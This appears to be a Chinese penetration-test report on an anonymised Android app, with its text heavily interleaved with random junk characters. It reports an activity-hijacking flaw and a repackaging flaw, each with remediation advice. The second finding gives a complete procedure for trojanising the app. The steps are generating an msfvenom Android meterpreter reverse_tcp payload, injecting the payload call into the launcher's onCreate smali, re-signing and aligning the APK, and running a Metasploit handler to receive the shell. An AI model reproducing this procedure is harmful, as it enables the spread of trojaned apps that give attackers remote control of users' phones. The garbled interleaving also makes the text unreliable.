1 v+ A" b+ p7 [+ s. b& [) V9 C2 j, i
1 {5 d& @" q* h Z/ l' F
. b+ _8 p3 T% P; o' }* X# i4 ?
* O& Z) G( o& @% e; ^! x1 }: l+ l* v" a
# N' v: d! _3 m5 M6 B6 Q0 f$ m; |
t7 p) u! B0 }' q* @7 Y
2 V+ ~8 m3 N: z( ^' Q% ~& x: }/ H
' {/ \. {* n; C- `. w4 V 9 |% a4 ~8 g0 n; f; u8 Y
, l& x' S8 S$ T1 }7 |
2 检测结果
$ D& g* Z! b$ R, F
9 K3 h" r& `( C2 G, q7 p" Z
9 ]. _# K J; G3 `! y/ _
~: f* u, y+ X6 W, t: x 6 d( h: Y' k6 i: l$ B
3 n2 ` g+ e! W3 [9 n 2.1 某某某 & k$ g1 U& ?# L, z& q- Q
- t2 t9 F- C) u7 P
9 W5 ~( n) B1 K& Q m8 e. e
% ~. |' I3 [; }2 W! @4 [$ G
0 A4 n4 m9 }: j$ U
5 A! r/ @+ x" _; g2 z) \& D 2.1.1检测目标 + ?. P0 x8 [7 h1 J* n" e5 Q6 O
# C5 c x. n1 z: V7 }5 q) I
5 m4 O$ [- b& s. M: e& ~- ]6 c/ _) x+ ~
3 R" |- @' q" \+ r1 _. b' o
8 A5 j( c1 ]2 w; t. [& a' E; N 目标地址: 某某某某某某APP
* s3 i* P7 K, Q& X7 }5 f' @- l3 ?' i9 ]; `# [ M& ?
, y5 j2 J+ T+ c6 }. m/ l! t
$ Q5 K# Z. j1 m
7 X$ W8 G# A) U) r9 R; h! E T2 l
) X2 j' |- |" _ 2.1.2检测结果 7 m( I& I& H1 t- S) ]2 R
`' W- R8 m$ ]- @ {. | P
7 ]( E4 V5 j& h0 t5 C
( O1 d% G% O8 a% _8 r 9 N) a9 Q( \4 O
& a3 c$ \* D3 _" Q9 l7 _3 C 2.1.2.1
4 U+ R; N: E: g4 S1 ~6 t/ O5 r7 h4 y3 c/ v* l# r0 R5 M; _ `
+ |+ b6 @- N7 E6 C0 o
% U' {( {9 J- h& {" p7 ?
4 a: ]5 F( a: a) z# J$ }/ ~: J
, h, c, a5 a. |3 l8 d 漏洞链接地址:某某某某某某APP
0 X4 b; J8 X6 Q, R- W* I( s0 {6 _7 x2 T% p; b
/ U4 H/ S; e1 F
* s4 W0 f" s$ [; N# C
5 m. s) t. ?, o
( x& x# Q' y6 w $ r9 }+ O! |6 a4 y% Q
! V( \6 r6 l0 u3 m) _& E& |1 |
' m. Y4 R4 f4 v9 X
% x+ T2 ~3 f* }/ u
# A+ s$ j5 f- A9 h; S
& n3 f" u& q/ t! @8 r7 G y 漏洞分析及取证: 9 k+ H$ }" X: H/ a% P- G5 k' z4 N
/ I4 a2 F! S$ l8 j! [7 w
9 W0 }2 V) @9 A9 N
" F g" U& F0 P0 {
1 b0 M3 l3 U& H, `! e3 o
! ]8 Z0 {' ^. N8 q 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
6 {" N) |& \( h+ k L: }) Z( _, ~( m0 F* w4 j$ X9 {( N
, ~& }& v+ t, n4 D _. {% t5 |
0 S1 H) G) [1 ?' m( v" H6 }% g- g4 C
* t3 ~+ ^7 t* |. Y
( b! ^0 }8 a, {0 v2 V
: }$ j' b$ x9 @9 A7 \
+ Q+ [: N, ^! o' ?6 }; s
[& U- i$ O# C
6 i2 ~4 Z$ V8 k/ L9 F 0 b& @) \& s" a& p+ L Q3 D& h
" r( ~. k6 J, d8 }: M9 C* H , S, O! N+ B5 ~2 T" [, A
/ K3 U$ Y# }& A, }9 T2 u+ H* U) `4 v
, C- }: D' g T2 J- j* d& |
* Z7 n ]2 h0 V3 ^ Y
' m+ Y5 _' V8 W+ C; T3 z4 L! w4 h, V% z$ d
6 g* _( D0 Z, z
) d+ y( M( p" B2 C. r8 V* j
" a, D: K- C* | ?, a7 m& E
! p J; O* f- S: Q+ [4 O9 ^+ Q1 W
6 v! z& \- y3 [1 g6 I8 d5 M6 v
% Z% F/ N' \! U9 }
1 L0 H1 E: ]) t2 ~1 b6 B0 g p
9 V* z% x7 J( [* X0 P" L7 p2 N
i' I9 g) z: E9 Z. G
& x- T) u a7 s5 q 7 U6 |: T; T+ U n5 |
0 m/ a: `: d4 q! e& p
8 @) d& J Y6 j$ ^0 K Y; h9 i' d- e& U( W/ A/ l/ v
f+ h9 [4 U9 I8 ^# a
) p- t/ j0 r- p, X: J- [4 S' ]
1 ]5 n5 d: x" }, _+ ^( z q; K O5 \. ]0 Y/ D& d0 K& d" @9 b1 W( n
漏洞危害:高
/ R8 `7 _) `$ \8 N
( P* u2 N6 D# P( o
# K6 v3 C4 u6 Q6 o8 c
0 X7 J* y2 o \ h o% n & L$ k) {' m% V* G5 c
( l V5 r9 t. f2 [
7 u9 s9 ^. |$ R% m! o5 ~8 z
$ {) ^ M) ~ b: N2 {
% U& S2 o! S, e/ R8 h5 y) H3 f1 P( V+ Z
' `8 W7 f$ x& F5 L9 a
; w) ?" P3 T q
| ; m8 S7 @/ A) f, @$ N) R
) p6 E* e9 C) G: i, r
7 |* X8 v# E, h- A7 x% }* m: B
8 B# v2 }8 u1 T0 \+ U$ q! L6 w0 t0 C 严重程度
. }6 f+ [4 j( H+ N+ f0 K2 q/ d8 ]
$ R. a. g3 ^; B& l5 Y; K/ A 5 i6 z$ }$ }, x/ l
l J$ J/ f& A8 [+ h4 e# w |
" j4 f$ g( I5 w, e! R* q2 ?; ^" Z( j' T# K9 |
# D U8 M g5 f: c: Z( \" i9 o, B9 E) g; j Q% Z" Y( u. c
: C! p4 a4 d9 z( z8 v7 |( }5 g( O& k7 k# {) B
高 * J" g7 r5 G( J9 m5 O
7 m$ O: u8 v; S% R7 q6 ?1 `1 O
3 Q8 t& {. F: S' O! j" ]( Z# j4 i) q
|
: e+ M0 L8 Y4 e0 D
* O9 @! F5 V) N4 z5 N: x q1 d( R: @8 P& Q0 L# c: O
8 h6 p: o" n1 l8 U
1 [* _. r! ^8 [' n7 o2 x8 U/ ]
" q* i0 h1 R/ U2 Y; n. M" _ ■
( g( _4 {6 m2 | i- T
7 o6 B. e2 C6 a & }: H! t$ M/ Q
5 y1 ]! G4 q/ I0 {. B. R
|
7 j5 I# F# c* d8 ?3 n
% z. o% \" M1 r1 |6 b ' \8 h2 B1 z9 Z7 K9 o
& c3 {9 ^- V y, O- n! _- o
& B0 t& P) b) Z
8 x D0 N3 H" ]1 v' v; w 中 ; H% }) ^( l( K" L3 y4 G
* V7 ~3 y, r, R7 }" Y
6 z8 t# p/ J e9 F2 I1 ]$ |
" x# c& ~, r! X$ k1 H3 l% u | 4 S9 }& U. E! U' J
1 Y! U- r2 ~7 {0 } Z
) x) {; u1 H" k8 j
8 i5 q! e) }; b% H8 ^, j
4 _; H+ O+ Y, |+ ?4 A O1 Z, Q3 O& h2 e8 _2 ^, b) G; |
; u% p! @% Z) G# v
5 u+ _: Q: g- |* r
3 y! {& g7 ?( M# r! y+ o K2 U& j
|
k( M6 Y1 E Z- x, ^/ t2 N7 V5 A6 F% F% o* _% M& } _. Y
' \2 f# Y- B; M9 B& I' Z" _. i
& N; }- h7 B4 N- {9 n7 Z5 O # j) O5 M- k) T X K2 E/ P& b$ }
$ x' ]' P1 h/ f; Y
低
: ?, {' y: }) ?( w7 L% Y8 T. v9 \- q9 Y& x- P: B5 `- b4 G
3 ~2 u% s% t: q' S b5 r% `4 Z
& I8 w- b+ j! B7 Z7 G# U |
. d$ M; B. {7 O: l3 `
" R9 P% ` _. F ! h9 T* g( z$ N
. y, j; T. p6 R% p& A 6 [1 t% p& z& |' E2 a# c0 D
* I2 @9 ]/ x0 w0 `3 J
' P/ V2 r$ }. f% Y6 j) d! i& `6 r2 @ I
( J8 T$ G9 D" m( o# K" R* x$ S
# E+ F2 F F: g: B2 v
|
* F; @/ q: D- @ U
5 W6 s, h7 {+ X z4 V" _7 Z
' D2 l0 f9 ~7 ~+ w4 j6 x7 s
4 g' R% h& A$ G9 S
7 }( I; _( C6 B) Q0 G [
! ?! r1 L- _4 p( r8 U
6 S$ b5 E8 y& ~; z$ r: Y( q( k
0 R4 K; z9 `3 H/ \1 O, T9 U
8 Z- O4 U8 b* B1 m) S7 l; B e! w5 T
9 w6 I/ s5 t6 p5 i- ^' q
7 u* [# }; [; {; l Y z
/ D1 j' {7 C7 }; n
5 I, j3 f! J n
4 m+ X, T* Y+ r* M" O* G( s2 H( \1 W* @" G" b5 ?8 t5 t0 F
3 ~+ A0 s4 U5 [ y$ k9 c
! k# R. u3 g: g7 I( M2 w4 r 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 , r L- v# ]. O3 x) x0 p
- V/ B2 M0 v5 n9 w, ]0 R
: I1 f; b" v. ?5 K1 s* N/ V
) h0 k+ {3 k) @0 A
' ~; y& n7 k- c z# u
2 K7 M2 u( H4 ^+ @! J& |$ G: U
8 x# O6 k O4 ?$ h* ~% d: K9 r5 O9 `/ f! o) \
5 r D+ ~$ w. W! L [9 s( I9 Q3 a. K
) h! W7 _% _( Y5 I. w! c
6 g0 \& o& J' W4 h7 F3 K; [
$ O( ?! i2 B6 V3 X4 \; e " R4 o# [6 W3 C
$ i: p+ B0 k0 p2 o5 S
' J! R$ L4 `$ S3 Z, ?# i- f9 U; h1 q" U* I4 L
$ [, P2 G8 B7 K0 K# U6 Q. O
; h7 Z4 M& \2 N E7 R# k9 L 2.1.2.2
1 E. N* g2 |5 K9 e5 @
; }+ D+ x) D! S
; s, q, U' o5 c# b3 Q
, s0 Z. Z3 P o- Q6 } 0 H4 ?1 Y! _2 ]. c
$ _) q2 ~# z! X0 }! N* E 漏洞链接地址:某某某某某某APP
# ]3 o$ \/ }- L% ]# S. S$ a O* _
0 @" j7 B% M9 ~4 R, w" f7 f
! B3 b2 B3 M S9 z( e6 R" b
W. A& ^( M9 ?7 _0 X3 _
2 e& [ Q- u p8 \. P9 \- F
漏洞分析及取证:
% Q% n9 V0 J! i$ a/ f- i- R7 ]! C0 A! c$ c* Z9 t
" o8 K v' n/ o& {4 |$ A' n) } ^2 \6 Z! A- W: w b, U8 R
, L2 I& S3 Y* @( J ?. I/ l
: k* u+ {" N# C; ^9 W 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
9 l; F. L$ R* }5 ~# Q; D, b S! E- c) Y; m: ^8 @
1 O! D" P, W3 a$ S, |
- [! `2 `6 E _
8 L. S% p% Z, `: b4 L
4 e1 p4 M! Z5 ~0 |' m$ V
用Metasploit 生成木马 apk
; k5 f1 v* J3 [' F: q
( Q, V- m7 _0 P7 W
$ v1 c5 u7 |9 t5 i. K# l
# z$ B. v& S& y/ |
7 \5 d8 g4 d% W- n0 [$ H$ X
1 ?: i) c1 {, Z( c5 W; r msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
, U, l4 K+ }" G! Z4 U
* H: Y8 h- p. B( S7 @2 B3 I
+ b9 Z% E- x4 ?
8 |) y! u- N6 K: M' @
+ S( z9 Y P$ k5 g6 W1 J2 M
$ ]+ x; y/ R: a, |1 N 反编译目标apk和木马apk : h2 R5 {1 X) j1 i& j. o* P: ^3 P- b% K
/ C) n' E( r* J5 F3 s, D: p
! _0 U3 k. W9 g. f; X5 J: a. d
2 b3 D+ r0 ?( S2 i9 e. D
8 b% C. T4 c2 o$ j' R5 y
3 J$ p# g$ U/ }$ f& b# H2 E1 z% L& c, L apktool d target.apk
. h2 d) x" z5 r! W; F1 k
, Y- @! Y3 g1 } apktool d cockhorse.apk
7 n% [' G, i* _
8 x: l" L c( h/ P
! t$ j% Y8 ?; W& l1 {! x! R7 ?% b/ x0 w0 K2 v% {! F- x1 Z
T* X. F- P2 O
& k" v: a9 T7 [8 U
木马 apk 注入目标 apk 8 k1 h" q& [0 z# l* k! M
+ z B! X6 B! A/ b3 J) r2 O
" f [) T: S( C1 O% J2 z3 h$ [3 ~0 I) i
4 V: }( u2 Q5 w, `2 [5 z# z9 N! |* m* Q9 x, ^/ V! m) _
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 z6 c! j. u: O s: ^( c }6 x, W, I$ _ y) p# }
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
7 W3 o4 V- s; t. a1 ^
/ n9 i3 a% w& O% {4 E. L
8 t% m7 I2 q; O# Y6 b; K" E9 i! @4 `' w3 j: U+ Z9 b& V
" C# `% q$ W& W- l* c7 ^
6 c- ]) }- r2 @: \0 E2 k7 j
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
7 P/ X# u, n N
/ T' y6 F2 ]4 Z1 J/ L$ Z! F
5 s* H4 A$ m' `- B( l( l
- z) b V% u0 q5 Y% S % p. H L/ g9 y2 A
% Q, d1 Y' u7 X3 u8 @
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 4 y% Q3 I6 z/ e9 A8 M3 b4 {2 O
; r3 J. @7 r& R) [9 O
, w8 g, \' V9 }- ^0 s4 p8 d
9 I3 l$ Q9 O# \% W8 Y8 `0 q! a
8 u" J6 ]. U- U, o0 m. k% v6 ~+ g8 r7 @& u: u) {: m% X
回编译生成最终 apk
! Z0 s7 ?6 P/ Q8 j9 Y' c" {5 p! v
0 R* [/ U9 u3 c0 N' C
z p6 L2 @! u( H1 k& D# u: r
" Z1 s& Y7 C4 L4 z* y5 s l
4 `9 e* I& _3 g+ |- h( x$ }: y2 D1 G
6 e @& p5 I- l7 d1 I) X$ A 重新打包
8 k2 U8 ^( l# R. N7 f# v% F% } c, ~. Q7 Y/ I+ ?
3 ]2 N* i' g+ K( d8 Z
0 y3 n# w. H k* _& Y
0 {& X K* v7 u1 }0 f) b/ m) A
) a. \$ @# a- Y' Y apktool b -o repackage.apk target_app_floder 3 }) p' S- r& M/ v
3 F, i# \1 a$ C3 x" O
. n. f G; W: v
; K6 J! n; d1 P' W ~) f0 r
4 Q" m1 |. C% a8 z4 @2 ~$ g+ S: W. |" J0 d! q0 `2 h* f: o8 q
创建签名文件,有的话可忽略此步骤 2 H9 e) m4 y4 [
+ w1 y5 `& S/ N+ `% |- N
2 W$ h7 E+ t; q/ i; Z2 |4 l! ~' o2 L. g
1 o( V& _% a( F- } 7 T; W: [/ U/ W. W* b' s
- U2 g; w9 f' T: ~/ p+ W keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
( F% C* n! K0 Q1 {( U! B q
2 B/ c- f) m0 Z) \: a
, B0 p, ^% U3 {
) |5 B: `: s {7 ]
! T. B H7 p4 P" ]! V1 S
S [6 L8 Q! Y- P( R. f 签名,以下任选其一 8 v4 @1 o/ B% J5 K
3 I; q% ^; k, F" Z J; ?
" O$ D: M, f( I9 Z6 P/ p
8 @+ l/ h2 C4 ?: k+ b0 ~# |. P$ g5 h
1 T6 C$ ~2 m* @. e# j c1 }4 c5 A$ r9 E" X0 d: C/ k$ \
jarsigner 方式 9 H7 x: X% J* |* q2 H0 }
: }& Q. ~* Q8 Z3 V
8 {1 u8 j/ n9 T9 r
( z% l& H, Z: e! C0 ` , M3 _: I- s3 y9 y" p. B. Z
7 M3 P8 M6 ?. p6 v3 w jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname % _" U: |0 i' H/ G( N" u; s
8 v4 @, z7 Z6 o6 D. ?2 T
2 W: x/ ~5 r5 |. g% [
- j2 v0 T0 m. v" u, c8 r' S % I" R C1 R1 D9 c0 U
% F( s# J; M5 u& b2 Y
apksigner 方式 9 x% F' }' J, K' ^
8 f6 c6 O+ a4 m$ q- i
# k7 W0 N# G/ I, w& l+ c* {/ N2 z
" [& a. Y5 {8 i! R
" T" e! C2 p, d a3 X* G/ q! u4 e# \4 ]" a2 G
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
3 K4 ^. {9 V9 V Q+ J6 A, n
7 H. M+ f, K- }, B2 o
6 Q8 {# X+ {1 Q7 G" o x1 V
4 J6 M" |" ]9 M$ D
" F; C% K q$ G; q4 ?
$ |) v" G1 T: e
如需要禁用 v2签名 添加选项--v2-signing-enabled false
5 W; S1 G5 h0 \: ^: S8 }4 I" y3 ^# R. y0 I# G* e
Y0 y) m, i: {$ b( R' F: X2 }- s& W8 o7 e. j3 S
( g( H5 X% \1 Z% n: d" ^4 b! |
6 d; k% ^: s1 m) O/ R4 l4 h
验证,以下任选其一 7 L( f; g i7 s) G t
+ g0 L: K8 T( z+ v* F6 g0 a# m% n; u
$ I* b0 D+ j o6 P% f
C. h d: u5 [. w, ] : q7 X) W- T; b+ z, A
9 ^' \# W/ ]/ Q L0 ]/ O% x& R jarsigner方式 % I- l; O9 s c$ `
' f+ @- Q2 `3 q
2 W1 W* _9 H4 W1 H9 e, R
% Q! W" Z |6 s: d( o8 m9 `# Q$ v
0 [& `+ j* z+ ^, z$ p
9 w5 K( o3 q8 R& C2 S jarsigner -verify repackaged.apk 4 L( g* |- k7 ?# u# S1 t
: o9 f) G7 b; P+ P8 c
: B( j4 ]# `2 G0 f$ D6 ~/ N
6 ?, i& Y: E) M% u3 Q ! [0 H0 s) _! B: T& G8 @
, M* W0 Y) Q" I0 E; f- U) Q% x
apksigner 方式
. h1 M' }! T9 G3 q+ h
! F/ \) r# T$ F+ G3 w' m
* j$ k6 \# ]) S
) {% j3 P2 _0 X! K
# p! W, O( _( E$ e1 }: B* X t: c( j4 g, _8 A# u" P6 e( F7 p% P
apksigner verify -v --print-certs repackaged.apk
- p1 l* `: L" _2 k. k" r
7 d4 q3 h9 X5 f: o6 |% S
3 ]9 r6 y' k5 G
3 ?) W" |- R& w+ Z3 T9 W9 G
1 J9 r1 A9 h( Z8 b; q1 r/ H
$ a8 `) z8 D* G9 C
keytool方式
* {% j. [7 ]3 I3 ~: W1 ?; M
- f% e$ L, P1 g% o4 D
( I+ }% n. h6 o- u' x/ B
. N- N1 X- \: W
6 Y, [ Y( h7 H) O% M
+ O" P- Y8 ?, J7 |; H2 t% q; ? keytool -printcert -jarfile repackaged.apk ( ?' K3 f8 _& q$ A) u
# a) N+ Q8 ~" B8 Z) g1 s, G
8 k" Z" q3 [0 H; a8 J" B; ]
" O; m) A' |7 q+ p
+ o, R+ F; z, O3 k1 i8 F. q- r2 Y. X" _- u' O9 `6 U W7 P; H
对齐
3 ]& ]% }7 c" |* [! r0 T- G$ n* ?6 c
) D ]: ^" N- C a2 `' ?! W' g4 H$ O! {, c& Q' u& q9 N* P. v6 ]' I9 Z) t$ j
: B) v+ _/ l2 q+ b( I( T" p {+ y
字节对齐优化
0 q2 M7 m& W; c: J* U0 D ^3 B" {) j7 E3 F- Z, r" E d6 R" D
* R: W/ [& }7 y2 u/ Q+ A! J% B! s: a8 i3 m3 H3 z
, {& h2 o% K0 L' d) U
6 q% ]4 i; b" a: _! _ zipalign -v 4 repackaged.apk final.apk
% G, n, ^. q$ f9 H9 A5 y! @$ w$ e" F t! {
8 d1 O! B/ _4 }6 I4 x! J
; b* K! @! n* n1 |, `" X$ L; }
" C# C' p% c7 w, ]+ Q
9 a7 V, m+ _. X; B 检查是否对齐
: j$ R% J' g) [# y
% K7 o/ o# r2 r- [' \7 l/ \' [
- I. b1 @4 E# }. I
% J* \6 ^( F5 ?* n& M+ i y( U
q- J2 v9 o% t. r. ]1 [1 ]3 \8 D
6 [3 f g+ {* ^4 K zipalign -c -v 4 final.apk / B8 g0 G! \6 \' X5 T& o* E
8 v( S' a, I* h1 |2 P8 F
9 q1 p0 M3 u. p( I; G
. A2 P; n. k3 y4 O& Q1 a
+ j8 R8 M D2 W. ]6 I
& u- ?# _( r, C
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
# N3 s+ g# @2 ^8 @/ M3 ~
+ d- J0 K. O) `5 z3 y& M
6 C6 c& x$ [3 C! b4 o
. `4 {2 U" T! n) x+ A# G
7 u' F1 B3 _) A' Z' Z
( @7 ~ f/ u4 `+ T* w7 U# k3 N( r 启动Metasploit控制台,配置参数等待上线 2 Y' B* _. g" U$ K" k, I
4 A- ^( {7 j$ i6 W. w; }1 S+ F$ B
" j$ {9 S9 b) s3 y" z, B. @) x' B& c5 ?& t% B) V8 C
6 K4 X b* z; t) b3 ^/ _
2 V' J3 b' O) D# p
在终端依次输入如下命令
3 h) u, L9 y/ o5 o. }$ E4 _+ t: K- A
- G$ `4 ]) W3 e- g) |9 j$ m, e$ d2 d8 j% N: ~% V4 L8 C2 i. [0 e" ]8 J* y
; l+ `7 |4 e8 s
1 v; P8 V2 b& U8 T; ? ] msfconsole
- o$ ~3 n8 M Z5 Y) n- J. x0 u+ ]* Y& d- T! }
! e8 m {+ C. Y; a+ P. G/ M, T
' T# t: I+ i1 f0 Y
3 z8 o4 Z0 }2 S/ A: q) {! S |. c1 l9 v4 N" m% m
use exploit/multi/handler 8 l- ^1 l$ m3 P# }8 r
: t# g! m9 S& g
. I; y+ P# |1 F4 E
( g& L }3 U8 R! G2 I 0 M9 V( }- H* l- n' C$ u7 \
( [ ~7 b1 H6 Y a6 O8 z* s O$ Z I. Z
set PAYLOAD android/meterpreter/reverse_tcp 1 s- A2 p4 N+ T) q0 l
6 v. S* n/ H+ y0 B4 V$ @ a' J
' z" B& m9 L7 f" D7 t$ J0 L# L' d" @& M5 H$ R
8 a5 @2 }# U& T. }
6 | T' s# S6 h* ~& ^
set LHOST 192.xxx.xx.xx
1 P( M5 G/ |3 c1 k0 ?% R4 ?2 s, y# W1 T6 A# [
_. a' ~) c1 x# t0 T+ K L1 z1 v
, R* b8 h. q* ]1 D' j8 z
' n! F& f; [& r# l# Z
9 i! C. h. a2 H) W/ _+ z set LPORT 4444 L. h4 I) S0 e; R5 f
8 K( ~3 W8 ~3 N/ e
9 M5 P! F2 m3 u# J* G: h1 k: o3 X* b
0 r8 I+ D4 m+ }: _3 x( J: f; s 4 q1 Y+ f4 J) u6 W0 t6 G; M. W
& @2 C9 P( e! Y/ v2 B& \" h: k2 o exploit 5 ~! s$ }+ J! h3 ?3 f y
0 o0 v4 k7 y' [* X
7 n* F0 E n2 {0 ?' y8 k% n, e, w
& u% |: ]0 t) {, N- P1 K0 B
, Z) Z' O1 x# {
& k& R' ?' ]1 k1 d% I' S 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
0 g/ x0 q- t1 W3 A8 K8 E9 d
5 S* W; |% X9 X2 j w6 {- }
4 b! I# D- P/ a. |
% h1 R% P# b5 F; m
b4 `; M/ v$ C8 W' w( u
) P" ]5 R: ]. }2 _; y8 q7 D/ X 漏洞危害:中 0 S+ C$ h5 ~; T; K7 h7 B+ \
8 Y; u* k# w% Q, [
' B4 Z; K& t/ I1 J4 q
/ U& {3 v7 b# _3 T( ^( f8 p5 k' M
& e0 ]3 D9 D [( B0 K) D3 z" V
( b' f1 Z0 @& R
2 Q6 X' n$ z" n% e: l
" V6 H* H3 j& m
6 k! A1 A5 q/ T1 h
5 J: L. a" A9 N
9 S# V c' S! b: ?$ V& L) h' p. w
' _$ r* p* E' ^5 B
. M V$ M" h V! s, f7 x
|
* s0 A+ p& b7 P Y
J/ h' W* Y G$ _ % J# L4 ~ X9 V1 W# u
$ @/ a0 j# |4 V( m6 G& A' u
严重程度
* W: t6 Z" ~8 t( T8 {8 o4 h
! k1 m/ \( y X6 l( I. M. P 8 @# ?, J/ r4 ]" M# k' [
6 X A5 W6 [( i: c8 m6 f
| 8 l5 s2 s# |2 ~ n. e0 c
8 q% \# H6 G( B9 ]4 m3 @ F
# V6 _: E! U* U0 K; m4 S5 s0 t5 P" o
2 q7 _$ ~4 }# d8 d; S# X8 b' g+ X$ N+ t
高 * d3 g% _6 |1 O& m
/ D7 F* n$ u: x4 i% b / c' X/ C6 u; E# j
( M5 t; n' L6 o% G
| 8 T- { T8 F6 R) s0 `
4 h) Z: O# C* i& I0 t( P! u8 s# N
) k: o7 P- g2 j* B0 D6 F5 w# h* n" v2 r6 W
V7 a* G8 Z" p8 g
* A, v3 R: Z7 M0 X( T* Z ■ . b( O$ C5 n. I: ^! E) Y' W
- I2 O6 N* Y% ^! D4 w _ % z. _; {' Q$ ?0 A) f
- o: a' t, f" |. d5 } | " W( o' F# ?9 i
t- U* L4 j% Z9 W, f 3 H9 x$ D" g& o+ q
9 L+ Z9 i5 ~0 k% A6 w- Z: p: ~
; m4 z4 t- @1 y8 M0 a
: _1 P: a7 n8 z/ ^" k0 G. c 中 # W+ i3 }% i& ?# x- ]* T
3 X' q [" a; v3 G
: \9 k; u' {& t' D. e; Y
# x1 ~; C+ ` l. s | 1 n/ t6 B$ L: {6 P1 }9 U
" L6 m5 j/ O0 ?
- s0 v! e1 I1 m$ I G, U
6 S# _! X- b- _$ ~, I4 |0 W
, w& Z, j0 J2 e8 }% V% o- [/ f5 q5 O/ [" Z* f: ?
! ^1 V1 t2 c5 h8 X9 ^9 @
& o" T% \6 t2 s- Q, j
! ]9 V6 y* Y; @# I3 B: C A1 j; B: K7 F V
1 L% H& {* d$ @
3 S. e& K% P D% k7 v2 @ | # H& m* ~' a5 |
3 s7 M" [1 o @. G$ i. t
0 U8 E) [3 O1 Y. O" y# l8 C2 I; \1 Z
( l# @( R' n& m {4 X; M5 x
! O/ g" F, U: S8 q 低
- d; E$ S: {4 ^3 U2 {- m9 R1 _! q5 t" B- s
* V0 W$ Z F8 Z/ N5 N/ J. ?# U
5 C5 D: C% e) @+ t# F0 U
& {) E8 [+ p1 H4 ^3 Q5 ?# J |
7 r. r% f5 G/ G* J% j- o, `1 e
+ j5 C( ?" F' O4 y2 G H6 m) N+ I; d* ~
! A5 A* H: a; L: u* P
5 f3 ~: S! K2 o# I" l7 i8 u; L- Z, s% e' \% P' b
7 O! _: A$ }! _: n
& f9 [! T; _ M5 k
8 r) z) L3 [$ b8 a) i) @9 z; e
, C1 |7 G2 w6 ^1 W) ` * f( b: `2 y2 z
, X( d4 R( K9 a6 Y+ z) a1 p3 [9 u' u
| " R" Q0 |& c* O$ A3 A J
* K0 \7 }# P! y$ e, b0 c
9 }5 p+ g) E4 T; R' k
% c U9 u: x2 t i; V! _3 V
# ^& z( C, L- A: Z( L* ?7 L9 l
9 ]: j) H' d, A: }
* ^7 }5 h( u. Z5 D: H4 T9 t; G# L9 w5 C: g! G4 ]5 V! w3 w
& ]$ v# G' W8 K& m. M5 v
$ E; l# i) k# e! W6 ? Y6 E Z
, h. }5 p1 O& n X2 R' M3 N1 h# L0 Q v! G0 H4 {
7 Y3 ?' G' D/ _, j2 Z
& L7 H% A& L. O& Y% r5 M
" F' D* n% s( a0 z
; k; y3 e$ W' x) [% O: s6 p
# t) P# Y& ~, d" n0 N
$ K- O3 g' v# a0 O6 ]" n8 I 修复方法:
3 m. J o% J4 l8 ?6 M
1 G6 |4 Q0 G7 E3 r5 T
( n B7 m; ?/ l
5 H' P5 m; `. Z: L+ o
+ \4 M; S% Y: X$ v' ^
* j s! @' W& J7 @" e 1.在 APP 启动时应做签名校验防止二次打包。
1 f% Z; X$ v& \
. Z' @) T; {, @3 o8 J
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 $ A2 o/ j$ k! D/ r0 @, V
2 I3 j: j! D9 y/ n; z
7 O% J1 H2 O3 ]9 |+ {+ W* ]! g/ A. l. H/ \8 G1 {' D: E* @
: C' |; {( |6 I$ o" D, M- t
+ P3 U/ E' M2 \' N- Q+ H0 C
: F) _8 x6 c! b. \
+ I) _' |( x; l' W7 N
' t" Q) y! T% z" f) w$ G/ T% B: ^2 s' U* ?# Y6 j* R
3 \' z: K& y& p9 p) g$ x9 X, b1 r5 j) |+ S, V4 Z+ F
3 R/ o; N+ Z; F/ ^2 J
" _1 V' u, R e# k; K
: C0 i, k# o# x- B) |' L$ z
0 u3 ?+ S Z0 i3 v: y+ t
; _+ z) |. c& S# B/ Y+ j# Z
, v8 f! u/ o' ^0 j$ K
s0 g5 y2 u8 A' A A( G. d% m
' |& K! T A+ S! e* Y/ @" _8 k& D9 @